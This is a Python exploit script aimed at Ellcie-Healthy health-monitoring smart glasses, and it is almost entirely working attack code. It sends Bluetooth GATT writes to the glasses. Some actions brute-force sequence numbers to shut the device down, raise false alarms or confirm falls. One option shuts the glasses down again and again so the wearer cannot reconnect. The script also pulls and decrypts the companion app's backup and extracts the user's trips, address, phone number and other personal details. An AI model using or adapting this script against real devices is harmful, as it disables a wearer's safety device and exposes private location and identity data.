exploit.py

import os
import time
from pwn import pwnlib, process, log, errno
import argparse
import subprocess
import re
from enum import Enum
import sqlite3
import random
import json

try:
    from subprocess import DEVNULL # py3k
except ImportError:
    import os
    DEVNULL = open(os.devnull, 'wb')

class Action(Enum):
    BEEP = "BEEP"
    SHUTDOWN = "SHUTDOWN"
    CHANGE_DEVICE_NAME = "CHANGE_DEVICE_NAME"
    PRINT_INFOS = "PRINT_INFOS"
    ACCOUNT_TAKEOVER = "ACCOUNT_TAKEOVER"
    GEN_ALARM = "GEN_ALARM"
    CONFIRM_FALL = "CONFIRM_FALL"
    READ_BACKUP = "READ_BACKUP"
    @staticmethod
    def list():
        return list(map(lambda c: c.value, Action))


CMD_GATT_LOCATION = '0x001e'
args = ''

def isRoot():
    try:
        os.rename('/etc/foo', '/etc/bar')
    except IOError as e:
        if (e == errno.EPERM):
            return False
    return True

def initBluetooth():
    log.info("Turning on bluetooth")
    process('service bluetooth start', shell=True)
    log.info("Turning on adapter hci0")
    process('hciconfig hci0 up', shell=True)
    
def sendCommand(cmd, output):
    command = ['gatttool', '--device=' + args.address, '-t', 'random', '--char-write-req', '-a', CMD_GATT_LOCATION, '-n', cmd]
    subprocess.run(command)
    if output == True:
        log.info("Sending command 0x" + cmd)
    
def sendChangeNameCmd(newName):
    command = ['gatttool', '--device=' + args.address, '-t', 'random', '--char-write-req', '-a', '0x007', '-n', newName.encode('utf-8').hex()]
    subprocess.run(command)
    
def readAt(addr):
    command = ['gatttool', '--device=' + args.address, '-t', 'random', '--char-read', '-a', addr]
    try:
        r = subprocess.check_output(command)    
    except subprocess.CalledProcessError as e:
        log.error("The glasses seems to be busy... (" + str(e) + ")")
        return    
    return r.decode("utf-8").replace("Characteristic value/descriptor: ", "")


def byteArrayToHexa(byteArray):
    toReturn = ''
    for b in byteArray:
        toReturn += "%X" % (b & 0xff)
    return toReturn

def beepGlasses(): 
    sendCommand(byteArrayToHexa([120, -93]), True)
    log.success("Rocking the glasses")
    
def bruteforceSeq(tab):
    log.info("This method requires bruteforcing mSeqNbCommand... doing so")
    with log.progress('Sending shutdown BLE packet... ') as p:
        for i in range(0, 127):
            p.status(" Packet n°%i" % i)
            sendCommand(byteArrayToHexa([i] + tab), False)
            time.sleep(0.5)      
    log.success("Rocking the glasses")

def shutdownGlasses(): 
    bruteforceSeq([-64])     
    log.success("Glasses are down. Have you heard that pretty noise ?")
    
def confirmFall(): 
    bruteforceSeq([-6, -49])     
    bruteforceSeq([-6, -17])     
    bruteforceSeq([-6, -59])     
    log.success("PANICK ALLLLLLLL")
    
def doAccountTakeover():
    log.info("Starting account take over... ")
    
    
def generateAlarm():
    bruteforceSeq([-46])
    log.success("Alarm should be activated") 

def changeDeviceName():
    log.success("Retreived current device name : " +  bytearray.fromhex(readAt("0x007")).decode())
    log.info("Changing device name to...")     
    newName = input("--> : ")
    sendChangeNameCmd(newName)
    time.sleep(1)
    log.success("Done ! Getting new name : " +  bytearray.fromhex(readAt("0x007")).decode())
    

def printInfos():
    log.info("Retreiving informations...")
    print("\n")
    log.success("Retreived firmware version : " +  bytearray.fromhex(readAt("0x0014")).decode())
    log.success("Retreived risk level : " + (readAt("0x0037")))
    log.success("Retreived serial number : " +  bytearray.fromhex(readAt("0x0012")).decode())
    log.success("Retreived battery level : " + str(int(readAt("0x0017"), 16)) + "%")
    log.success("Retreived ambiant humidity : " + str(int(readAt("0x002b").replace("00",""), 16))+ "%")
    log.success("Retreived ambiant temperature : " + str(int(readAt("0x0028").replace("00",""), 16))+ "°C")
  #  log.success("Retreived number of walks : " + str(int((readAt("0x0025").replace("00","").replace("\n","")), 16))+ " walks")
     
def readBackup():
    subprocess.run(["adb","backup", "-noapk", "com.ellcie_healthy.ellcie_mobile_app_driver"])
    log.success("The backup file has been downloaded. Decrypting...")
    name = str(random.randint(123,456))
    subprocess.call(["java", "-jar", "abe.jar", "unpack", "backup.ab", name + ".tar", ""], stdout=DEVNULL, stderr=DEVNULL)
    log.success("File decryted. Decompressing...")
    subprocess.call(["tar", "-xvf", name + ".tar"], stdout=DEVNULL, stderr=DEVNULL)
    log.success("File decompressed.")
    conn = sqlite3.connect("apps/com.ellcie_healthy.ellcie_mobile_app_driver/db/ellcie-3daa1.firebaseio.com_default")
    cur = conn.cursor()
    cur.execute('SELECT value FROM serverCache')
    rows = cur.fetchall()
    log.info("Reading locations...\n\n\n")
    onlyOnce = True
    for row in rows:
        if("{\"coord\"" in str(row) and onlyOnce == True):
            newRow = str(row)[:-3]
            newRow = newRow[3:]
            parsed = json.loads(newRow)
            log.success("Trips : " + json.dumps(parsed, indent=4, sort_keys=True))
            onlyOnce = False
 
        if("lastName" in str(row) and '"lastName":""' not in str(row)):
            parsed = json.loads(str(row)[3:][:-3])
            log.success("Lastname: " + parsed["lastName"])
            log.success("Country: " + parsed["country"])
            log.success("Address: " + parsed["address"])
            log.success("Gender: " + parsed["gender"])
            log.success("City: " + parsed["city"])
            log.success("Phone numer: " + parsed["phoneNumber"])
             
     
     
def doAction():
    if args.action == Action.BEEP.name:
        beepGlasses()
    if args.action == Action.SHUTDOWN.name:
        shutdownGlasses()
    if args.action == Action.GEN_ALARM.name:
        generateAlarm()
    if args.action == Action.READ_BACKUP.name:
        readBackup()
    if args.action == Action.PRINT_INFOS.name:
        printInfos()
    if args.action == Action.CHANGE_DEVICE_NAME.name:
        changeDeviceName()
    if args.action == Action.CONFIRM_FALL.name:
        confirmFall()
    if args.action == Action.ACCOUNT_TAKEOVER:
        doAccountTakeover()
    
     
if(isRoot()):
    parser = argparse.ArgumentParser(description='Ellcie-Healthy glasses - Remote Command Execution')
    parser.add_argument('--address', dest='address',help='Glasses BLE addresses', default='E7:60:74:B4:98:3E', required=True)
    parser.add_argument('--action', dest='action',help='Action to be executed', choices=Action.list(), required=True)
    parser.add_argument('--init', dest='initbluetooth',help='Should the script activate bluetooth', choices=['1','0'], default='0')
    parser.add_argument('--keepsending', dest='keepsending',help='Should we keep sending the request ? Doing so will constantly send the action.' 
                        ' That means for example if you jam the device and send the shutdown request, the user won\'t be'
                        ' able to reconnect again, as the device with again and again shutdown.', choices=['1','0'], default='0')
    
    args = parser.parse_args()
    print("Ellcie-Healthy glasses - Remote Command Execution\n")
    
    if args.initbluetooth == '1':
        initBluetooth()
        
    if args.keepsending == '1':
        log.warning("Keep sending the action...")
        while True:
            doAction()
    else:
        log.info("Sending the order only once")
        doAction()
        
    
else:
    log.warn("You must be root. Run sudo please")

print("\n")